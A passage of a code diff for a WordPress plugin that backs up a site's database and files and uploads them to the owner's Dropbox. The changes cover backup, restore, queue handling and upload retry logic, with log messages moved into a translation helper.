- public function createListFilesForArchive() {
199
  $folders = array();
200
  $files = array();
201
 
@@ -229,7 +295,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
229
  $v = str_replace(ABSPATH , '', $v);
230
  if (in_array($v, $minus_path)) {
231
  unset($files[$k]);
232
- WPAdm_Core::log('Skip of File ' . $v);
233
  }
234
  }
235
  }
@@ -280,7 +346,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
280
  if (isset($this->params['minus-path'])) {
281
  $minus_path = explode(",", $this->params['minus-path']);
282
  if (in_array($d, $minus_path) ) {
283
- WPAdm_Core::log('Skip of Folder ' . $directory);
284
  return array();
285
  }
286
  } else {
@@ -292,8 +358,11 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
292
  $d1 = mb_strtolower($tmp[0]);
293
  unset($tmp[0]);
294
  $d2 = mb_strtolower(implode('/', $tmp));
295
- if (strpos($d2, 'cache') !== false && isset($tmp[0])&& !in_array($tmp[0], array('plugins', 'themes')) ) {
296
- WPAdm_Core::log('Skip of Cache-Folder ' . $directory);
 
 
 
297
  return array();
298
  }
299
 
@@ -313,7 +382,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
313
  if (!in_array($f, $minus_path)) {
314
  $array_items[] = $ff;
315
  } else {
316
- WPAdm_Core::log('Skip of File ' . $ff);
317
  }
318
  }
319
  } else {
@@ -325,7 +394,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
325
  if (!in_array($f, $minus_path)) {
326
  $array_items[] = $ff;
327
  } else {
328
- WPAdm_Core::log('Skip of Folder ' . $ff);
329
  }
330
  }
331
  }
3
  if (!class_exists('WPAdm_Method_Local_Backup')) {
4
  class WPAdm_Method_Local_Backup extends WPAdm_Method_Class {
5
 
6
+ private $start = true;
7
+
8
  public function __construct($params)
9
  {
10
  parent::__construct($params);
11
  $this->init(
12
  array(
13
+ 'id' => uniqid('wpadm_method__local_backup__'),
14
  'stime' => time(),
15
  )
16
  );
17
+
18
+ WPAdm_Core::log(langWPADM::get('Create Unique Id ', false) . $this->id);
 
 
 
19
 
20
 
21
  $name = get_option('siteurl');
22
 
23
  $name = str_replace("http://", '', $name);
24
  $name = str_replace("https://", '', $name);
25
+ $name = preg_replace("|\W|", "_", $name);
26
+ if (isset($params['time']) && !empty($params['time'])) { // time 1432751372
27
+ $this->time = date("Y-m-d H:i", $params['time']);
28
+ $name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i", $params['time']);
29
+ } else {
30
+ $this->time = date("Y-m-d H:i"); //23.04.2015 13:45
31
+ $name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i");
32
+ }
33
  $this->name = $name;
 
34
 
35
  // folder for backup
36
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $name;
37
+ if (($f = $this->checkBackup()) !== false) {
38
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $f;
39
+ }
40
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
41
+ if (!empty($error)) {
42
+ $this->result->setError($error);
43
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
44
+ }
45
+ $error = WPAdm_Core::mkdir($this->dir);
46
+ if (!empty($error)) {
47
+ $this->result->setError($error);
48
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
49
+ }
50
+ }
51
+ public function checkBackup()
52
+ {
53
+ if (WPAdm_Running::getCommand('local_backup') !== false) {
54
+ $archives = glob("{$this->dir}");
55
+ if (empty($archives) && count($archives) <= 1) {
56
+ return false;
57
+ }
58
+ $n = count($archives);
59
+ $f = "{$this->name}({$n})";
60
+ return $f;
61
+ }
62
+ return false;
63
  }
64
  public function getResult()
65
  {
68
 
69
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
70
  $this->result->setError('');
71
+ WPAdm_Core::log(langWPADM::get('Start Backup process...', false));
 
72
 
73
  # create db dump
74
  if (in_array('db', $this->params['types']) ) {
75
+ $mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
76
+ if ( !WPAdm_Running::getCommandResult('db') ) {
77
+ WPAdm_Running::setCommandResult('db');
78
+ WPAdm_Core::log(langWPADM::get('Creating Database Dump', false));
79
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
80
+ if (!empty($error)) {
81
+ $this->result->setError($error);
82
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
83
+ return $this->result;
84
+ }
85
+ if (file_exists($mysql_dump_file) && !file_exists(WPAdm_Core::getTmpDir() . "/db")) {
86
+ unlink($mysql_dump_file);
87
+ }
88
+ $wp_mysql_params = $this->getWpMysqlParams();
89
+
90
+ if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
91
+ $opt_db = WPAdm_Running::getCommandResultData('db', $proc_data);
92
+ if (!isset($opt_db['optimize'])) {
93
+ WPAdm_Core::log(langWPADM::get('Optimize Database Tables', false));
94
+ $commandContext = new WPAdm_Command_Context();
95
+ $commandContext ->addParam('command','mysqloptimize')
96
+ ->addParam('host', $wp_mysql_params['host'])
97
+ ->addParam('db', $wp_mysql_params['db'])
98
+ ->addParam('user', $wp_mysql_params['user'])
99
+ ->addParam('password', $wp_mysql_params['password']);
100
+ $this->queue->clear()
101
+ ->add($commandContext);
102
+ unset($commandContext);
103
+ }
104
+ }
105
 
 
 
 
106
  $commandContext = new WPAdm_Command_Context();
107
+ $commandContext ->addParam('command','mysqldump')
108
  ->addParam('host', $wp_mysql_params['host'])
109
  ->addParam('db', $wp_mysql_params['db'])
110
  ->addParam('user', $wp_mysql_params['user'])
111
+ ->addParam('password', $wp_mysql_params['password'])
112
+ ->addParam('tables', '')
113
+ ->addParam('to_file', $mysql_dump_file);
114
+ $res = $this->queue->add($commandContext)
115
+ ->save()
116
+ ->execute();
117
+ if (!$res) {
118
+ $log = langWPADM::get('Website "%domain" returned an error during database dump creation: \'Dump of Database wasn\'t created: "%s"\'. To solve this problem, please check your database system logs or send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%domain', '%s'), array(SITE_HOME, $this->queue->getError() ) );
119
+ WPAdm_Core::log($log);
120
+ $errors[] = $log;
121
+ } elseif (0 == (int)filesize($mysql_dump_file)) {
122
+ $log = langWPADM::get('Website "%domain" returned an error during database dump creation: Database-Dump file is emplty. To solve this problem, please check permissions to folder: "%dir".', false, array('%domain', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP));
123
+ $errors[] = $log;
124
+ WPAdm_Core::log($log);
125
+ } else {
126
+ $size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
127
+ $log = str_replace("%size", $size_dump , langWPADM::get('Database Dump was successfully created ( %size Mb) : ', false) ) ;
128
+ WPAdm_Core::log($log . $mysql_dump_file);
129
+ }
130
  unset($commandContext);
131
+ WPAdm_Running::setCommandResult('db', true);
132
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
133
  }
134
 
135
+ if (count($errors) == 0) {
136
+ $command_files_list = WPAdm_Running::getCommandResultData('files');
137
+ if (in_array('files', $this->params['types']) && empty($command_files_list) ) {
138
+ $files = $this->createListFilesForArchive();
139
+ WPAdm_Running::setCommandResultData('files', $files);
140
+ } else {
141
+ $files = $command_files_list;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
142
  }
143
+ if (isset($mysql_dump_file) && file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
144
+ $files[] = $mysql_dump_file;
 
145
  }
 
 
 
 
 
146
 
147
+ if (empty($files)) {
148
+ $errors[] = langWPADM::get( 'Website "%d" returned an error during creation of the list of files for a backup: list of files for a backup is empty. To solve this problem, please check files and folders permissions for website "%d".' , false, array('%d'), array(SITE_HOME));
149
+ }
 
 
 
 
 
 
150
 
151
+ // split the file list by 170kbayt lists, To break one big task into smaller
152
+ $files2 = WPAdm_Running::getCommandResultData('files2');
153
+ if (empty($files2)) {
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
154
  $files2 = array();
155
+ $files2[0] = array();
156
+ $i = 0;
157
+ $size = 0;
158
  foreach($files as $f) {
159
+ if ($size > 170000) {//~170kbyte
160
+ $i ++;
161
+ $size = 0;
162
+ $files2[$i] = array();
163
+ }
164
+ $f_size =(int)@filesize($f);
165
+ if ($f_size == 0 || $f_size > 1000000) {
166
+ WPAdm_Core::log('File ' . $f . ' Size ' . $f_size);
167
  }
168
+ $size += $f_size;
169
+ $files2[$i][] = $f;
170
+ }
171
+ WPAdm_Running::setCommandResultData('files2', $files2);
172
+ }
173
+
174
 
175
+ WPAdm_Core::log( langWPADM::get('List of Backup-Files was successfully created', false) );
176
+ $this->queue->clear();
177
+ if ( !WPAdm_Running::getCommandResult('archive') ) {
178
+ WPAdm_Running::setCommandResult('archive');
179
+ $files_archive = WPAdm_Running::getCommandResultData('archive');
180
+ foreach($files2 as $files) {
181
+ $files_str = implode(',', $files);
182
+ if (!in_array($files_str, $files_archive)) {
183
+ $commandContext = new WPAdm_Command_Context();
184
+ $commandContext ->addParam('command', 'archive')
185
+ ->addParam('files', $files)
186
+ ->addParam('to_file', $this->dir . '/' . $this->name)
187
+ ->addParam('max_file_size', 900000)
188
+ ->addParam('remove_path', ABSPATH);
189
+
190
+ $this->queue->add($commandContext);
191
+ unset($commandContext);
192
+ }
193
  }
194
+ WPAdm_Core::log( langWPADM::get('Backup of Files was started', false) );
195
+ $this->queue->save()->execute();
196
+ WPAdm_Core::log( langWPADM::get('End of File Backup', false) );
197
+ WPAdm_Running::setCommandResult('archive', true);
198
+ }
199
+ $files = glob($this->dir . '/'.$this->name . '*');
200
+ $urls = array();
201
+ $totalSize = 0;
202
+ foreach($files as $file) {
203
+ $urls[] = str_replace(ABSPATH, '', $file);
204
+ $totalSize += @intval( filesize($file) );
205
+ }
206
+ $this->result->setData($urls);
207
+ $this->result->setSize($totalSize);
208
+ $this->result->setValue('md5_data', md5 ( print_r($this->result->toArray(), 1 ) ) );
209
+ $this->result->setValue('name', $this->name );
210
+ $this->result->setValue('time', $this->time);
211
+ $this->result->setValue('type', 'local');
212
+ $this->result->setValue('counts', count($urls) );
213
+ $size = $totalSize / 1024 / 1024; /// MByte
214
+ $size = round($size, 2);
215
+ $log = str_replace("%s", $size , langWPADM::get('Backup Size %s Mb', false) ) ;
216
+ WPAdm_Core::log($log);
217
+
218
+ $remove_from_server = 0;
219
+ #Removing TMP-files
220
+ WPAdm_Core::rmdir($mysql_dump_file);
221
+
222
+ #Removind old backups(if limit the number of stored backups)
223
+ if ($this->params['limit'] != 0) {
224
+ WPAdm_Core::log( langWPADM::get('Limits of Backups ', false) . $this->params['limit'] );
225
+ WPAdm_Core::log( langWPADM::get('Removing of old Backups was started', false) );
226
+ $files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
227
+ if (count($files) > $this->params['limit']) {
228
+ $files2 = array();
229
+ foreach($files as $f) {
230
+ $fa = explode('-', $f);
231
+ if (count($fa) != 3) {
232
+ continue;
233
+ }
234
+ $files2[$fa[2]] = $f;
235
+
236
+ }
237
+ ksort($files2);
238
+ $d = count($files2) - $this->params['limit'];
239
+ $del = array_slice($files2, 0, $d);
240
+ foreach($del as $d) {
241
+ WPAdm_Core::rmdir($d);
242
+ }
243
  }
244
+ WPAdm_Core::log( langWPADM::get('Removing of old Backups was Finished', false) );
245
  }
 
246
  }
247
+ wpadm_class::setBackup(1);
248
  if (!empty($errors)) {
249
  $this->result->setError(implode("\n", $errors));
250
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
251
+ WPAdm_Core::rmdir($this->dir);
252
+ wpadm_class::setStatus(0);
253
+ wpadm_class::setErrors( implode(", ", $errors) );
254
  } else {
255
+ wpadm_class::setStatus(1);
256
+ WPAdm_Core::log( langWPADM::get('Backup creation was complete successfully!', false) );
257
  }
258
+ wpadm_class::backupSend();
259
 
260
  return $this->result;
261
 
262
  }
263
+ public function createListFilesForArchive()
264
+ {
265
  $folders = array();
266
  $files = array();
267
 
295
  $v = str_replace(ABSPATH , '', $v);
296
  if (in_array($v, $minus_path)) {
297
  unset($files[$k]);
298
+ WPAdm_Core::log( langWPADM::get('Skip of File ', false) . $v);
299
  }
300
  }
301
  }
346
  if (isset($this->params['minus-path'])) {
347
  $minus_path = explode(",", $this->params['minus-path']);
348
  if (in_array($d, $minus_path) ) {
349
+ WPAdm_Core::log(langWPADM::get('Skip of Folder ', false) . $directory);
350
  return array();
351
  }
352
  } else {
358
  $d1 = mb_strtolower($tmp[0]);
359
  unset($tmp[0]);
360
  $d2 = mb_strtolower(implode('/', $tmp));
361
+ if (strpos($d2, 'cache') !== false && isset($tmp[0]) && !in_array($tmp[0], array('plugins', 'themes')) ) {
362
+ WPAdm_Core::log(langWPADM::get('Skip of Cache-Folder ', false) . $directory);
363
+ return array();
364
+ }
365
+ if(strpos($directory, 'wpadm_backups') !== false || strpos($directory, 'Dropbox_Backup') !== false) {
366
  return array();
367
  }
368
 
382
  if (!in_array($f, $minus_path)) {
383
  $array_items[] = $ff;
384
  } else {
385
+ WPAdm_Core::log(langWPADM::get('Skip of File ', false) . $ff);
386
  }
387
  }
388
  } else {
394
  if (!in_array($f, $minus_path)) {
395
  $array_items[] = $ff;
396
  } else {
397
+ WPAdm_Core::log( langWPADM::get('Skip of Folder ', false) . $ff);
398
  }
399
  }
400
  }
methods/class-wpadm-method-local-restore.php CHANGED
@@ -25,7 +25,7 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
25
  if (file_exists($file_log)) {
26
  unlink($file_log);
27
  }
28
- WPAdm_Core::log('Create Unique Id '. $this->id);
29
  if (count($this->files_resotre) > 0) {
30
  $this->restore = true;
31
  }
@@ -33,27 +33,42 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
33
  }
34
  private function getFiles()
35
  {
 
36
  if (isset($this->params['name_backup']) && !empty($this->params['name_backup'])) {
37
- $dir_backup = ABSPATH . 'wpadm_backups/' . $this->params['name_backup'];
38
- if (is_dir($dir_backup)) {
39
- WPAdm_Core::log('Read of Backup Files for Restore (' . $this->params['name_backup'] . ')');
40
- $dir_open = opendir($dir_backup);
41
- while($d = readdir($dir_open)) {
42
- if ($d != "." && $d != '..') {
43
- if(strpos($d, ".md5") !== false) {
44
- $this->md5_info = explode ("\n", file_get_contents( $dir_backup . "/$d" ) );
45
- } elseif(strpos($d, ".zip") !== false) {
46
- $this->files_resotre[$d] = $dir_backup . "/$d";
47
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
48
  }
49
  }
50
- return true;
51
  }
52
- }
53
- WPAdm_Core::log('Error: folder is not exist (' . $this->params['name_backup'] . ')');
54
- $this->setError('Error: folder is not exist (' . $this->params['name_backup'] . ')');
55
  return false;
56
-
57
  }
58
  private function setError($errors)
59
  {
@@ -72,11 +87,9 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
72
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
73
  $this->result->setError('');
74
 
75
- WPAdm_Core::log('Start Restore process');
76
  $n = count($this->md5_info);
77
- if (in_array('db', $this->params['types'])) {
78
-
79
- }
80
  if (in_array('files', $this->params['types']) ) {
81
  foreach($this->files_resotre as $key => $file) {
82
  if (file_exists($file)) {
@@ -108,16 +121,22 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
108
  ->add($commandContext)->save()
109
  ->execute();
110
  unset($commandContext);
 
 
 
111
  } else {
112
- $this->setError('File(' . $data[2] . ') not Exist');
113
- WPAdm_Core::log('File(' . $data[2] . ') not Exist');
 
114
  break;
115
  }
116
  }
117
  }
118
  }
119
  } else {
120
- WPAdm_Core::log('Files to restore is empty');
 
 
121
  }
122
  return $this->result;
123
  }
25
  if (file_exists($file_log)) {
26
  unlink($file_log);
27
  }
28
+ WPAdm_Core::log(langWPADM::get('Create Unique Id ', false) . $this->id);
29
  if (count($this->files_resotre) > 0) {
30
  $this->restore = true;
31
  }
33
  }
34
  private function getFiles()
35
  {
36
+ $res = false;
37
  if (isset($this->params['name_backup']) && !empty($this->params['name_backup'])) {
38
+ $res = self::readFiles( DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->params['name_backup'] );
39
+ if ($res === false) {
40
+ $res = self::readFiles(WPADM_DIR_BACKUP . '/' . $this->params['name_backup']);
41
+ }
42
+ if ($res === false) {
43
+ $res = self::readFiles(ABSPATH . WPADM_DIR_NAME . '/' . $this->params['name_backup']);
44
+ }
45
+ }
46
+ if ($res === false) {
47
+ $str = langWPADM::get('Website "%d" returned an error during backup restoration: Archive of Backup wasn\'t found "%s"', false, array('%d', '%s'), array(SITE_HOME, $this->params['name_backup']) );
48
+ WPAdm_Core::log($str);
49
+ $this->setError($str);
50
+ }
51
+ return $res;
52
+
53
+ }
54
+
55
+ private function readFiles($dir_backup)
56
+ {
57
+ if (is_dir($dir_backup)) {
58
+ WPAdm_Core::log('Read of Backup Files for Restore (' . $this->params['name_backup'] . ')');
59
+ $dir_open = opendir($dir_backup);
60
+ while($d = readdir($dir_open)) {
61
+ if ($d != "." && $d != '..') {
62
+ if(strpos($d, ".md5") !== false) {
63
+ $this->md5_info = explode ("\n", file_get_contents( $dir_backup . "/$d" ) );
64
+ } elseif(strpos($d, ".zip") !== false) {
65
+ $this->files_resotre[$d] = $dir_backup . "/$d";
66
  }
67
  }
 
68
  }
69
+ return true;
70
+ }
 
71
  return false;
 
72
  }
73
  private function setError($errors)
74
  {
87
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
88
  $this->result->setError('');
89
 
90
+ WPAdm_Core::log(langWPADM::get('Start Restore process', false));
91
  $n = count($this->md5_info);
92
+
 
 
93
  if (in_array('files', $this->params['types']) ) {
94
  foreach($this->files_resotre as $key => $file) {
95
  if (file_exists($file)) {
121
  ->add($commandContext)->save()
122
  ->execute();
123
  unset($commandContext);
124
+ if (file_exists(DROPBOX_BACKUP_DIR_BACKUP . "/mysqldump.sql")) {
125
+ @unlink(DROPBOX_BACKUP_DIR_BACKUP . "/mysqldump.sql");
126
+ }
127
  } else {
128
+ $log = langWPADM::get('Website "%d" returned an error during backup restoration: Part Backup is not exist "%s" ', false, array('%d', '%s'), array(SITE_HOME, $data[2]) );
129
+ $this->setError($log);
130
+ WPAdm_Core::log($log);
131
  break;
132
  }
133
  }
134
  }
135
  }
136
  } else {
137
+ WPAdm_Core::log(
138
+ langWPADM::get('Website "%d" returned an error during restore backup: Files for restore is not exist, check permission your backup data or You can send to us support request using "Help" button on plugin page.', false, array('%d'), array(SITE_HOME) )
139
+ );
140
  }
141
  return $this->result;
142
  }
methods/class-wpadm-method-queue-controller.php CHANGED
@@ -46,7 +46,6 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
46
  private $id = '';
47
 
48
  public function __construct($params) {
49
- //WPAdm_Core::log("Запуск очереди. Параметры: " . print_r($params, true));
50
  $this->stime = time();
51
  parent::__construct($params);
52
  $this->queue_file = WPAdm_Core::getTmpDir() . '/' . $this->params['id'] . '.queue';
@@ -54,9 +53,7 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
54
  $this->log("queue-file not exists: {$this->queue_file}");
55
  exit;
56
  }
57
- //WPAdm_Core::log('Открываем файл очереди ' . $this->queue_file);
58
  $queue = unserialize(file_get_contents($this->queue_file));
59
- //WPAdm_Core::log(print_r($queue, true));
60
  $this->id = $queue['id'];
61
  $this->step = (isset($queue['step']) && (int)$queue['step'] > 1) ? (int)$queue['step']+1 : 1;
62
  $this->contexts = $queue['contexts'];
@@ -65,27 +62,24 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
65
 
66
  public function getResult()
67
  {
68
- // пока время не закончилось и есть задачи - выполняем
69
  while(!$this->timeIsOver() && $context = $this->getNextContext()) {
70
  $com = $context->get('command');
71
  $cmd = WPAdm_Command_Factory::getCommand($com);
72
  if ($cmd === null) {
73
- $this->result->setError('Command error:' . $com . ': '. 'Command not found: ' . $com);
74
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
75
  array_unshift($this->contexts, $context);
76
  $this->done();
77
  return $this->result;
78
  } elseif (!$cmd->execute($context)) {
79
- $this->result->setError('Command error:' . $com . ': '. $context->getError());
80
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
81
  array_unshift($this->contexts, $context);
82
  $this->done();
83
  return $this->result;
84
  } else {
85
- //
86
- //WPAdm_Core::log("Команда выполнена: {$com}");
87
  }
88
- //продолжаем работу
89
  }
90
 
91
  if ($this->step >= self::MAX_COUNT_STEPS) {
@@ -124,7 +118,6 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
124
  }
125
 
126
  private function restart() {
127
- $this->log('restart(' . $this->step .'): ' . $this->id);
128
  $this->step ++;
129
  $url = get_option('siteurl');
130
  $pu = parse_url($url);
@@ -139,13 +132,9 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
139
  'sign' => '',
140
 
141
  );
142
- /**
143
- *
144
- * request to itself to predict multitasking
145
- *
146
- */
147
  $socket = fsockopen($host, 80, $errno, $errstr, 30);
148
-
149
  $dp = explode(DIRECTORY_SEPARATOR,dirname(dirname(__FILE__)));
150
  $pl = array_pop($dp) . '_';
151
  // $data = 'wpadm_'.$pl.'request='.base64_encode(serialize($data));
46
  private $id = '';
47
 
48
  public function __construct($params) {
 
49
  $this->stime = time();
50
  parent::__construct($params);
51
  $this->queue_file = WPAdm_Core::getTmpDir() . '/' . $this->params['id'] . '.queue';
53
  $this->log("queue-file not exists: {$this->queue_file}");
54
  exit;
55
  }
 
56
  $queue = unserialize(file_get_contents($this->queue_file));
 
57
  $this->id = $queue['id'];
58
  $this->step = (isset($queue['step']) && (int)$queue['step'] > 1) ? (int)$queue['step']+1 : 1;
59
  $this->contexts = $queue['contexts'];
62
 
63
  public function getResult()
64
  {
 
65
  while(!$this->timeIsOver() && $context = $this->getNextContext()) {
66
  $com = $context->get('command');
67
  $cmd = WPAdm_Command_Factory::getCommand($com);
68
  if ($cmd === null) {
69
+ $this->result->setError( langWPADM::get('Website "%d" returned an error: Command "%com" not found. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%com'), array(SITE_HOME, $com ) ) );
70
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
71
  array_unshift($this->contexts, $context);
72
  $this->done();
73
  return $this->result;
74
  } elseif (!$cmd->execute($context)) {
75
+ $this->result->setError( langWPADM::get('Website "%d" returned some unknown error during command "%com" was running. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%com'), array(SITE_HOME, $com ) ) );
76
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
77
  array_unshift($this->contexts, $context);
78
  $this->done();
79
  return $this->result;
80
  } else {
81
+
 
82
  }
 
83
  }
84
 
85
  if ($this->step >= self::MAX_COUNT_STEPS) {
118
  }
119
 
120
  private function restart() {
 
121
  $this->step ++;
122
  $url = get_option('siteurl');
123
  $pu = parse_url($url);
132
  'sign' => '',
133
 
134
  );
135
+
 
 
 
 
136
  $socket = fsockopen($host, 80, $errno, $errstr, 30);
137
+ // $pl = (defined('WPADM_PLUGIN')) ? WPADM_PLUGIN . '_' : '';
138
  $dp = explode(DIRECTORY_SEPARATOR,dirname(dirname(__FILE__)));
139
  $pl = array_pop($dp) . '_';
140
  // $data = 'wpadm_'.$pl.'request='.base64_encode(serialize($data));
methods/class-wpadm-method-send-to-dropbox.php CHANGED
@@ -1,13 +1,13 @@
1
  <?php
2
  /**
3
- * Бэкап сайта
4
- * Class WPadm_Method_Send_To_Dropbox
5
- */
6
  if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
7
  class WPadm_Method_Send_To_Dropbox extends WPAdm_Method_Class {
8
  /**
9
- * @var WPAdm_Queue
10
- */
11
  private $queue;
12
 
13
  private $id;
@@ -21,44 +21,86 @@ if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
21
 
22
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
23
  $this->result->setError('');
 
 
 
 
 
 
 
24
 
25
  $this->queue = new WPAdm_Queue($this->id);
26
 
27
  $ad = $this->params['access_details'];
28
- WPAdm_Core::log('Copying of Files to Dropbox');
29
  $this->queue->clear();
30
  $files = $this->params['files'];
31
  //$this->getResult()->setData($files);
32
 
33
  $dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
34
- // Task creating to copy files to Dropbox
35
- foreach($files as $file) {
36
- $commandContext = new WPAdm_Command_Context();
37
- $commandContext->addParam('command', 'send_to_dropbox')
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
38
  ->addParam('key', $ad['key'])
39
  ->addParam('secret', $ad['secret'])
40
  ->addParam('token', $ad['token'])
41
- ->addParam('folder_project',$ad['folder'])
42
  ->addParam('folder', $dir)
43
  ->addParam('files', ABSPATH . $file);
44
- $this->queue->add($commandContext);
45
- unset($commandContext);
 
 
 
 
 
 
 
 
 
 
46
  }
47
- $res = $this->queue->save()
48
- ->execute();
49
- if (!$res) {
50
- WPAdm_Core::log('Dropbox: ' . $this->queue->getError());
51
- $errors[] = 'Dropbox: '.$this->queue->getError();
52
  }
53
- WPAdm_Core::log('End of copying files to Dropbox');
54
  if (count($errors) > 0) {
55
  $this->result->setError(implode("\n", $errors));
56
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
57
  }
58
 
59
  return $this->result;
60
-
61
-
62
  }
63
 
64
  private function init(array $conf) {
1
  <?php
2
  /**
3
+ * Бэкап сайта
4
+ * Class WPadm_Method_Send_To_Dropbox
5
+ */
6
  if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
7
  class WPadm_Method_Send_To_Dropbox extends WPAdm_Method_Class {
8
  /**
9
+ * @var WPAdm_Queue
10
+ */
11
  private $queue;
12
 
13
  private $id;
21
 
22
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
23
  $this->result->setError('');
24
+ if (isset($this->params['local']) && $this->params['local']) {
25
+ $params_data_cron = WPAdm_Running::getCommandResultData('local_backup');
26
+ $this->params['files'] = $params_data_cron['data'];
27
+ $this->params['access_details']['dir'] = $params_data_cron['name'];
28
+ WPAdm_Core::log( langWPADM::get('' , false) );
29
+ }
30
+
31
 
32
  $this->queue = new WPAdm_Queue($this->id);
33
 
34
  $ad = $this->params['access_details'];
 
35
  $this->queue->clear();
36
  $files = $this->params['files'];
37
  //$this->getResult()->setData($files);
38
 
39
  $dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
40
+ //$dir = trim($dir, '/') . '/' . $this->name;
41
+ if (is_array($files)) {
42
+ $send = false;
43
+
44
+ foreach($files as $file) {
45
+ if (isset($this->params['local']) && $this->params['local']) {
46
+ $data_command = WPAdm_Running::getCommandResultData('command_dropbox');
47
+ $data_error_command = WPAdm_Running::getCommandResultData('errors_sending');
48
+ if (isset($data_error_command[ABSPATH . $file]) && $data_error_command[ABSPATH . $file]['count'] > WPADM_COUNT_LIMIT_SEND_TO_DROPBOX) {
49
+ $msg = langWPADM::get('Not perhaps sending file: "%file%". If you wish make upload file, increase execution time code or speed internet provider is small for upload file.' , false, '%file%', $file);
50
+ WPAdm_Core::log( $msg );
51
+ $errors[] = $msg;
52
+ break;
53
+ }
54
+ if ( !empty($data_command) && in_array(ABSPATH . $file, $data_command) ) {
55
+ continue;
56
+ }
57
+ }
58
+ $commandContext = new WPAdm_Command_Context();
59
+ $commandContext->addParam('command', 'send_to_dropbox')
60
  ->addParam('key', $ad['key'])
61
  ->addParam('secret', $ad['secret'])
62
  ->addParam('token', $ad['token'])
63
+ ->addParam('folder_project', $ad['folder'])
64
  ->addParam('folder', $dir)
65
  ->addParam('files', ABSPATH . $file);
66
+ if (isset($this->params['local']) && $this->params['local']) {
67
+ $commandContext->addParam('local', true);
68
+ }
69
+ $this->queue->add($commandContext);
70
+ unset($commandContext);
71
+ $send = true;
72
+ }
73
+ }
74
+ if ($send) {
75
+ WPAdm_Core::log( langWPADM::get('Start copy to Dropbox Cloud' , false) );
76
+ $res = $this->queue->save()->execute();
77
+ WPAdm_Core::log( langWPADM::get('End Copy Files to Dropbox' , false) );
78
  }
79
+ if (isset($res) && !$res) {
80
+ WPAdm_Core::log(langWPADM::get('Answer from Dropbox ' , false) . $this->queue->getError());
81
+ $errors[] = langWPADM::get('Answer from Dropbox ' , false) . $this->queue->getError();
 
 
82
  }
83
+
84
  if (count($errors) > 0) {
85
  $this->result->setError(implode("\n", $errors));
86
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
87
+ } else {
88
+ if (class_exists('wpadm_wp_full_backup_dropbox') && !file_exists( WPAdm_Core::getTmpDir() . "/notice-star") ) {
89
+ wpadm_wp_full_backup_dropbox::setFlagToTmp( 'notice-star', time() . "_1d" );
90
+ }
91
+ if (isset($this->params['local']) && $this->params['local'] && isset($params_data_cron)) {
92
+ $this->result->setData($this->params['files']);
93
+ $this->result->setSize($params_data_cron['size']);
94
+ $this->result->setValue('md5_data', md5 ( print_r($this->result->toArray(), 1 ) ) );
95
+ $this->result->setValue('name', $params_data_cron['name']);
96
+ $this->result->setValue('time', $params_data_cron['time']);
97
+ $this->result->setValue('type', 'dropbox');
98
+ $this->result->setValue('counts', $params_data_cron['counts'] );
99
